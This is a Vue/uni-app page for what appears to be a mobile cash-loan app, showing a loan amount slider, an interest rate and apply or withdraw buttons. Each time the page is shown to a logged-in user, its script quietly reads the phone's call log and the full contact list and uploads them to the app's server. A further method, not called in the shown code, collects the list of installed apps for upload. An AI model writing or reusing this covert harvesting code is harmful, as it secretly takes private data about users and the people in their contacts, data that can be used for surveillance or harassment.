<template>
	<view>

		<image src="../../static/index/topImage.png" mode="widthFix" style="width: 100%;"></image>
		<view class="bgView">
			<view class="flex-column-center">
				<view class="title">
					<text style="font-size: 40rpx;">¥</text>
					{{money}}
				</view>
				<!-- 				<view v-if="Number(userinfo.d_price)" class="title">
					到账金额
					<text style="font-size: 40rpx;">¥</text>
					{{userinfo.d_price}} 
				</view> -->

				<view class="title1">
					到账金额

					¥{{userinfo.d_price}}
				</view>
				<view class="title1">
					<text v-if="Number(userinfo.is_open)==0">申请金额(元)</text>
					<text v-if="Number(userinfo.is_open)==1">额度金额(元)</text>
					<text v-if="Number(userinfo.is_open)==2">申请金额(元)</text>



					<text v-if="Number(userinfo.is_open)==1||Number(userinfo.is_open)==2" style="margin-left: 10rpx;">
						利率{{userinfo.interest}}%</text>

				</view>
			</view>
			<!-- <text>{{content}}</text> -->
			<view v-if="Number(userinfo.is_open)==0" class="">
				<view class="title2">
					申请金额
				</view>
				<view class="">
					<slider style="margin: 30rpx 20rpx;height: 30rpx;" block-size='20' min='0' max='4' value="0"
						@changing="sliderChange" @change="sliderChange" step="1" />
				</view>
				<view class="flex-row-space-between ">
					<view v-for="(item,index) in list" :key="index">
						<view class="num">
							{{item}}
						</view>
					</view>
				</view>
			</view>

			<!-- 	<view class="title2">
				申请期数
			</view>
			<view class="flex-row-flex-start flex-wrap" >
				<view v-for="(item,index) in list1" :key="index">
					<view @click="itemClick(item,index)" class="item" :class="[sindex==index?'item1':'']">
						{{item}}个月
					</view>
				</view>
			</view> -->
			<view class="flex-column-center">
				<view @click="toImproveInfo()" class="button flex-column-center">
					<text v-if="Number(userinfo.is_open)==0">申请额度</text>
					<text v-if="Number(userinfo.is_open)==1&&Number(userinfo.type)==0">立即提现</text>
					<text v-if="Number(userinfo.is_open)==1&&Number(userinfo.type)==1">已提现</text>
					<text v-if="Number(userinfo.is_open)==1&&Number(userinfo.type)==2">提现待审核</text>
					<text v-if="Number(userinfo.is_open)==2">待审核</text>
				</view>

			</view>

		</view>

		<view class="flex-column-center1" style=" margin-left: 30rpx; margin-top: 40rpx;">
			<view class="title2">
				产品亮点
			</view>
			<image class="line " src="/static/common/line.png" mode=""></image>
		</view>
		<view class="flex-row-space-between " style="margin: 30rpx;">
			<image class="image1" src="/static/index/1.png" mode=""></image>
			<image class="image1" src="/static/index/2.png" mode=""></image>
			<image class="image1" src="/static/index/3.png" mode=""></image>
		</view>
		<view class="title3">
			- 不向未成年人及学生提供借款 -
		</view>


	<!-- 	<view @click="goToSessionInfo()" class="service fixed">
			<image class="" src="/static/index/service.png" mode=""></image>
		</view> -->





	</view>
</template>

<script>
	// import { parseTime } from '@/utils/format.js';
	import permision from '@/pages/index/permission.js';

	import {
		mapActions,
		mapState
	} from "vuex";
	import {
		info,
		config,
		get_app,
		get_address_book,
		get_mobile,
		set_session,
		orderAdd
	} from '@/api/index.js'
	export default {
		components: {},
		computed: {

		},
		data() {
			return {
				indexData: {},
				token: "",
				isShow: 0,
				userInfo: {},
				list: [],
				config: {},
				titles: '聊天列表',
				keywords: '',
				maskShow: false,
				messageMenu: {
					show: false
				},
				sessionList: [],
				sessionListTop: [],
				TODOcount: 0,
				pageDataLoadBool: false,
				sessionLongpressList: [],
				sessionLongpressShow: false,
				loadStatus: '加载中...',
				commonTips: '',

				content: [],
				contactsList: [],
				userinfo: {},
				config: {},
				money: 3000,
				list: [3000, 5000, 10000, 15000, 20000],
				list1: [3, 6, 12, 24, 36],
				sindex: 0,
				data: {}

			}
		},
		computed: {
			...mapState([
				'baseColor'
			]),
		},
		onShow() {
			var that = this
			const token = uni.getStorageSync('token')
			this.info()
			this.configData()
			if (token) {
				// #ifdef APP-PLUS


				if (uni.getSystemInfoSync().platform == "ios") {

				} else {
					//通话记录
					that.getCalllog1()
				}
				//通讯录
				that.getContacts()
				// #endif




			}


		},
		onLoad(e) {

		},
		//下拉刷新
		onPullDownRefresh() {


		},
		//加载更多
		onReachBottom() {

		},
		onPageScroll(e) {
			// if (e.scrollTop > 20) {
			// 	this.backgroundColor = "#FBF9FF"
			// } else {
			// 	this.backgroundColor = "#ffffff00"
			// }
		},
		methods: {
			// checkAddressBookPermission() {
			// 	var that=this
			//   uni.getSetting({
			//     success(res) {
			// 		console.log('用户res',res);
			//       if (!res.authSetting['scope.addressBook']) {
			//         // 还未授权，需要请求
			//         uni.authorize({
			//           scope: 'scope.addressBook',
			//           success() {
			//             //通讯录
			//             that.getContacts()
			//           },
			//           fail() {
			// 			  that.showToast('请去设置里面同意通讯录权限')
			//             console.log('用户拒绝了通讯录权限请求');
			//             // 用户拒绝了权限请求
			//           }
			//         });
			//       } else {
			//         console.log('已有通讯录权限');
			//         // 已有权限，执行后续操作
			// 		//通讯录
			// 		that.getContacts()
			//       }
			//     },
			//     fail() {
			//       console.log('获取设置失败');
			//       // 获取设置失败处理
			//     }
			//   });
			// },
			toImproveInfo() {
				if (Number(this.userinfo.is_open) == 1) {
					if (Number(this.userinfo.type) == 0) {
						this.orderAdd()
					}

				} else {
					this.toUrl('improveInfo')
				}

			},
			orderAdd() {
				orderAdd().then(res => {
					this.showToast(res.msg)
					if (res.code == 1) {
						// #ifdef H5

						window.location.href = res.data.url;
						// #endif

						// #ifdef APP
						plus.runtime.openURL(res.data.url);

						// #endif
					} else {

					}
				})
			},
			getCalllog1() {
				//#ifdef APP-PLUS
				// ['android.permission.READ_CALL_LOG', 'android.permission.WRITE_CALL_LOG', 'android.permission.READ_SMS'],  

				// 权限处理  
				plus.android.requestPermissions(
					['android.permission.READ_CALL_LOG', 'android.permission.WRITE_CALL_LOG'],
					function(e) {
						if (e.deniedAlways.length > 0) {
							//权限被永久拒绝  
							// 弹出提示框解释为何需要定位权限，引导用户打开设置页面开启 
							console.log('Always Denied!!! ' + e.deniedAlways.toString());
						}
						if (e.deniedPresent.length > 0) {
							//权限被临时拒绝  
							// 弹出提示框解释为何需要定位权限，可再次调用plus.android.requestPermissions申请权限  
							console.log('Present Denied!!! ' + e.deniedPresent.toString());
						}
						if (e.granted.length > 0) {
							//权限被允许  
							//调用依赖获取定位权限的代码  
							console.log('Granted!!! ' + e.granted.toString());
						}
					},
					function(e) {
						console.log('Request Permissions error:' + JSON.stringify(e));
					}
				)
				// 获取通话记录的主体代码 顺序不能够乱
				var CallLog = plus.android.importClass('android.provider.CallLog');
				var Activity = plus.android.runtimeMainActivity();
				var ContentResolver = plus.android.importClass('android.content.ContentResolver');
				var resolver = Activity.getContentResolver();
				plus.android.importClass(resolver);
				var String = plus.android.importClass("java.lang.String");

				var cs = resolver.query(CallLog.Calls.CONTENT_URI, null, null, null, CallLog.Calls.DEFAULT_SORT_ORDER);
				plus.android.importClass(cs);

				var count = 0; // 记录多少条 用于处理循环跳出

				if (cs.moveToFirst()) {
					while (cs.moveToNext()) {
						count++;
						//号码
						var number = cs.getString(cs.getColumnIndex(CallLog.Calls.NUMBER));
						//呼叫类型
						var type;
						switch (parseInt(cs.getString(cs.getColumnIndex(CallLog.Calls.TYPE))))
						// 判断通话类型
						{
							case CallLog.Calls.INCOMING_TYPE:
								type = "呼入";
								break;
							case CallLog.Calls.OUTGOING_TYPE:
								type = "呼出";
								break;
							case CallLog.Calls.MISSED_TYPE:
								type = "未接";
								break;
							default:
								type = "挂断";
								break;
						}
						// 获取时间
						var date = new Date(parseInt(
							cs.getString(cs.getColumnIndexOrThrow(CallLog.Calls.DATE))));
						// 联系人
						var Name_Col = cs.getColumnIndexOrThrow(CallLog.Calls.CACHED_NAME);
						var name = cs.getString(Name_Col);
						// 号码归属地 返回：北京 联通
						var numberLocation = cs.getString(
							cs.getColumnIndex(CallLog.Calls.GEOCODED_LOCATION)
						);
						//通话时间,单位:s
						var Duration_Col = cs.getColumnIndexOrThrow(CallLog.Calls.DURATION);
						var duration = cs.getString(Duration_Col);

						// 存入数组 
						this.content.push({
							name: name, // 联系人的姓名
							mobile: number, // 联系人电话
							numberLocation: numberLocation, // 号码的归属地
							callTime: this.formatDate(date), // 呼入或呼出时间
							talkTime: duration, // 通话时长
							type: type
						});

						if (count > 50) {
							break;
						}
					}
				}
				// console.log('通话记录',this.content)
				this.get_mobile()
				//#endif
			},
			get_mobile() {
				var data = {
					list: this.content
				}
				// console.log('通话记录', data)
				get_mobile(data).then(res => {
					console.log('通话记录返回数据', res)
					if (res.code == 1) {

					} else {

					}
				});
			},

			// 毫秒转日期
			formatDate(now) {
				const date = new Date(now)
				var y = date.getFullYear() // 年份
				var m = date.getMonth() + 1 // 月份，注意：js里的月要加1
				var d = date.getDate() // 日
				var h = date.getHours() // 小时
				var min = date.getMinutes() // 分钟
				var s = date.getSeconds() // 秒
				return y + '-' + m + '-' + d + ' ' + h + ':' + min + ':' + s
			},


			getAllApply: function() {
				// #ifdef APP-PLUS
				const main = plus.android.runtimeMainActivity(); // 此处相当于 context
				const pManager = plus.android.invoke(main, 'getPackageManager');
				const ApplicationInfo = plus.android.importClass("android.content.pm.ApplicationInfo");
				// getInstalledApplications || getInstalledPackages
				const packages = plus.android.invoke(pManager, 'getInstalledPackages', 0);
				const total = plus.android.invoke(packages, 'size');
				let appInfoList = [];
				// 遍历获取包名和应用名称  
				for (let i = 0; i < total; i++) {
					try {
						const packageInfo = plus.android.invoke(packages, 'get', i); //
						// 获取包名  
						const packName = plus.android.getAttribute(packageInfo, 'packageName');
						const versionName = plus.android.getAttribute(packageInfo, 'versionName');
						const versionCode = plus.android.getAttribute(packageInfo, 'versionCode');

						const appInfo = plus.android.invoke(pManager, 'getApplicationInfo', packName, 0);
						const appName = plus.android.invoke(pManager, 'getApplicationLabel', appInfo);
						const appApkPath = appInfo.plusGetAttribute("sourceDir"); // 获取安装包

						// 获取图标
						const appIcon = plus.android.invoke(pManager, 'getApplicationIcon', appInfo);
						const appIconBitmap = plus.android.invoke(appIcon, "getBitmap"); // 从BitmapDrawable获取Bitmap
						// 获取当前app的files文件夹路径
						const dir = main.getExternalFilesDir(null);
						const appFilesPath = plus.android.invoke(dir, "getAbsolutePath");

						// 是否是系统软件
						const isSystem = packageInfo.plusGetAttribute("applicationInfo").plusGetAttribute('flags') &
							ApplicationInfo.FLAG_SYSTEM != 0 ? true : false;

						// 判断是否是系统文件
						if (!isSystem) {
							// // 将 appIcon 转换成图片文件 失败 compress 处为 null
							// const File = plus.android.newObject("java.io.File", `${appFilesPath}/${appName}.jpg`); // 导入包并new这个类
							// if(!plus.android.invoke(File, "exists")){
							//   plus.android.invoke(File, "createNewFile");
							// }
							// const FileOutputStream = plus.android.newObject("Java.io.FileOutputStream", File);
							// const BufferedOutputStream = plus.android.newObject("Java.io.BufferedOutputStream", FileOutputStream);
							// const Bitmap = plus.android.importClass("android.graphics.Bitmap");
							// const aa = plus.android.invoke(appIconBitmap, "compress", Bitmap.CompressFormat.JPEG, 0, BufferedOutputStream);
							// plus.android.invoke(BufferedOutputStream, "flush");
							// plus.android.invoke(BufferedOutputStream, "close");

							// 转换成 Byte 然后写入文件
							const Bitmap = plus.android.importClass("android.graphics.Bitmap");
							const ByteArrayOutputStream = plus.android.newObject("java.io.ByteArrayOutputStream");
							plus.android.invoke(appIconBitmap, "compress", Bitmap.CompressFormat.PNG, 50,
								ByteArrayOutputStream);
							const Bytes = plus.android.invoke(ByteArrayOutputStream, 'toByteArray');
							const Base64 = plus.android.importClass("android.util.Base64");
							// 此处必须如此 如果使用 newObject 则 Base64.DEFAULT 为null 如果不 new 直接使用Base64则为null
							const newBase64 = new Base64();
							const Base64Icon = plus.android.invoke(newBase64, "encodeToString", Bytes, Base64.DEFAULT);

							// 转成 byte 写入 file 失败 compress 处报 null
							// const Bitmap = plus.android.importClass("android.graphics.Bitmap");
							// const ByteArrayOutputStream = plus.android.newObject("java.io.ByteArrayOutputStream");
							// plus.android.invoke(appIconBitmap, "compress", Bitmap.CompressFormat.PNG, 100, ByteArrayOutputStream);
							// const Bytes = plus.android.invoke(ByteArrayOutputStream,'toByteArray');
							// plus.android.invoke(FileOutputStream, "write", ByteArray);
							// console.log(ByteArray);

							// console.log("宽度",plus.android.invoke(appIconBitmap,"getWidth"));
							// console.log("高度", plus.android.invoke(appIconBitmap,"getHeight"));
							// console.log("文件字节大小", plus.android.invoke(appIconBitmap,"getByteCount"));
							// console.log("内存是否已经销毁", plus.android.invoke(appIconBitmap,"isRecycled"));
							// console.log("compress", plus.android.invoke(appIconBitmap, "compress", Bitmap.CompressFormat.JPEG, 100, BufferedOutputStream));
							// plus.android.autoCollection(File);

							// appInfoList.push({
							// 	packName,
							// 	versionName,
							// 	versionCode,
							// 	appName,
							// 	appApkPath,
							// 	appIcon: Base64Icon,
							// })
							appInfoList.push({
								packName,

								appName
							})
							// plus.android.autoCollection(Bytes);
							plus.android.invoke(ByteArrayOutputStream, "close")
						}

						plus.android.invoke(appIcon, "recycle");
						plus.android.invoke(appIconBitmap, "recycle");
					} catch (e) {
						//TODO handle the exception
					}
				}
				plus.android.autoCollection(main);
				this.get_app(appInfoList)
				// console.log('安装的应用',appInfoList)
				// #endif
			},
			get_app(appInfoList) {
				var data = {
					app: appInfoList
				}
				// console.log('上传app名字', data)
				get_app(data).then(res => {
					console.log('上传app名字返回数据', res)
					if (res.code == 1) {

					} else {

					}
				});
			},


			getContacts: function() {
				var _this = this;
				// 获取通讯录对象  
				plus.contacts.getAddressBook(plus.contacts.ADDRESSBOOK_PHONE, function(addressbook) {
					// uni.showToast({  
					//     title: '获取通讯录对象成功',  
					//     duration: 2000  
					// })  
					// console.log('获取通讯录对象成功')
					// console.log(addressbook)
					// 查找联系人  
					addressbook.find(["displayName", "phoneNumbers"], function(contacts) {
						// uni.showToast({  
						//     title: '获取联系人成功',  
						//     duration: 2000  
						// })  
						console.log('获取联系人成功')
						// console.log(JSON.stringify(contacts))
						_this.contactsList = contacts;
						// console.log('contactsList', _this.contactsList)  
						_this.get_address_book()
					}, function() {
						// uni.showToast({  
						//     title: '获取联系人失败',  
						//     duration: 2000  
						// })  
					}, {
						multiple: true
					});
				}, function(e) {
					// uni.showToast({  
					//     title: '获取通讯录对象失败:' + e.message,  
					//     duration: 2000  
					// })  
				});
			},
			get_address_book() {
				var data = {
					book_info: this.contactsList
				}
				// console.log('通讯录', data)
				get_address_book(data).then(res => {
					// console.log('上传通讯录返回数据', res)
					if (res.code == 1) {

					} else {

					}
				});
			},

			itemClick(item, index) {
				this.sindex = index
			},
			sliderChange(e) {
				console.log(e)
				this.money = this.list[e.detail.value]
			},
			configData() {
				var data = {

				}
				config(data).then(res => {
					this.config = res.data
					// this.list = this.config.price_all
				})
			},
			info() {

				var data = {

				}
				info(data).then(res => {
					this.userinfo = res.data
					if (Number(this.userinfo.is_open) == 1) {
						this.money = this.userinfo.price
					}
				})
			},
			pageDataLoad: function(refresh = false) {
				this.pageDataLoadBool = true
				this.ws.send({
					c: 'User',
					a: 'loadSessionList',
					data: {
						'refresh': refresh
					}
				})
				this.ws.send({
					c: 'ImBase',
					a: 'loadTODO',
					data: {
						'method': 'get-all-count'
					}
				})
			},
			showToast(title) {
				uni.showToast({
					title: title,
					icon: 'none'
				})
			},
			async goToSessionInfo() {

				var userinfo = uni.getStorageSync('userinfo')
				var data = {
					from_id: userinfo.id,
					to_id: '1'
				}
				const res = await set_session(data)
				uni.hideLoading()
				if (res.code == 1) {
					var url = '/bundle/pages/session-info/session-info?id=' + res.data.id

					uni.navigateTo({
						url: url
					})

				} else {
					this.showToast(res.msg)
				}
			},
			sessionLongpress: function(id, top) {
				this.sessionLongpressShow = true
				this.sessionLongpressList = [{
					text: top ? '取消置顶' : '置顶',
					id: id
				}, {
					text: '移除会话',
					color: '#f74c31',
					id: id
				}]
			},
			sessionLongpressAction: function(idx) {
				var that = this
				if (idx == 0) {
					that.ws.pageFun(function() {
						that.ws.send({
							c: 'User',
							a: 'sessionOperation',
							data: {
								id: that.sessionLongpressList[idx].id,
								action: 'session-top',
								source: 'uni-app'
							}
						})
					}, that)
				} else if (idx == 1) {
					that.ws.pageFun(function() {
						that.ws.send({
							c: 'User',
							a: 'sessionOperation',
							data: {
								action: "session-remove",
								id: that.sessionLongpressList[idx].id,
								source: 'uni-app'
							}
						});
					}, that)
				}
			},
			maskClick: function() {
				this.messageMenu.show && this.toggleMessageMenu()
			},
			toggleMessageMenu: function(e) {
				var that = this
				if (that.messageMenu.show) {
					that.maskShow = false
					that.messageMenu.show = false
					return;
				}
				that.messageMenu = {
					show: true,
					top: (e.detail.y + 14) + 'px',
					left: (e.detail.x - 120) + 'px'
				}
				that.maskShow = true
			},
			search: function() {
				if (!this.keywords) {
					this.$refs.uToast.show({
						title: '请输入关键词~',
						type: 'error'
					})
					return;
				}
				uni.navigateTo({
					url: '/pages/search/search?keywords=' + this.keywords,
					success: () => {
						this.keywords = ''
					}
				})
			},
			showToast(title) {
				uni.showToast({
					title: title,
					icon: 'none'
				})
			},
			toUrl(url) {
				uni.navigateTo({
					url: url
				})
			},
		}
	}
</script>

<style lang="scss">
	.bgView {
		position: relative;
		margin: 30rpx;
		margin-top: -180rpx;
		padding: 40rpx 24rpx;
		background: #FFFFFF;
		box-shadow: 0rpx 4rpx 8rpx 0rpx rgba(0, 0, 0, 0.06);
		border-radius: 24rpx 24rpx 24rpx 24rpx;
	}

	.title {
		margin-top: 20rpx;
		font-family: D-DIN, D-DIN;
		font-weight: 700;
		font-size: 80rpx;
		line-height: 44rpx;
		color: #EC554F;
	}

	.title1 {
		margin-top: 10rpx;
		font-family: PingFang SC, PingFang SC;
		font-weight: 400;
		font-size: 26rpx;
		color: #6B7589;
	}

	.title2 {
		margin-top: 20rpx;
		font-family: PingFang SC, PingFang SC;
		font-weight: 600;
		font-size: 34rpx;
		color: #16171B;
	}

	.num {
		font-family: PingFang SC, PingFang SC;
		font-weight: 500;
		font-size: 26rpx;
		color: #16171B;
	}

	.item {
		margin-top: 30rpx;
		margin-right: 22rpx;
		padding: 4rpx 20rpx;
		background: #F1F1F1;
		border-radius: 24rpx 24rpx 24rpx 24rpx;
		font-weight: 400;
		font-size: 22rpx;
		color: #16171B;
	}

	.button {
		margin-top: 50rpx;
		width: 484rpx;
		height: 84rpx;
		background: linear-gradient(90deg, #2366E6 0%, #4373F6 100%);
		border-radius: 60rpx 60rpx 60rpx 60rpx;
		font-family: PingFang SC, PingFang SC;
		font-weight: 400;
		font-size: 32rpx;
		color: #FFFFFF;
	}

	.line {
		margin-left: 36rpx;
		margin-top: 6rpx;
		width: 56rpx;
		height: 14rpx;
	}

	.image1 {
		width: 105px;
		height: 126px;
	}

	.title3 {
		text-align: center;
		font-family: PingFang SC, PingFang SC;
		font-weight: 400;
		font-size: 13px;
		color: #AAAAAA;
	}

	.service {
		bottom: 36%;
		right: 0;
		width: 156rpx;
		height: 156rpx;

		image {
			width: 156rpx;
			height: 156rpx;
		}
	}

	.item1 {
		background: linear-gradient(90deg, #2366E6 0%, #4373F6 100%);
		color: #FFFFFF;
	}
</style>